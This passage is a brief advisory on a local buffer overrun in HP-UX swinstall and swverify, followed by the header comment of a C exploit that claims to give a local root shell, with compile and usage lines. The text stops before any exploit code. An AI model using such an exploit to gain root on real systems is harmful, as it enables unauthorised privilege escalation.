HP has reported that some Software Distributor (SD) utilities are prone to a locally exploitable buffer-overrun vulnerability. Affected utilities include swinstall(1M) and swverify(1M). 

/*
  Program : x_hpux_11i_sw.c
  Use     : HP-UX 11.11/11.0 exploit swxxx to get local root shell.
  Complie : cc x_hpux_11i_sw.c -o x_sw ;./x_sw  ( not use gcc for some system)
  Usage   : ./x_sw [ off ]
  Tested  : HP-UX B11.11 & HP-UX B11.0
  Author  : watercloud [@] xfocus.org
  Date    : 2002-12-11
  Note    : Use as your own risk !!
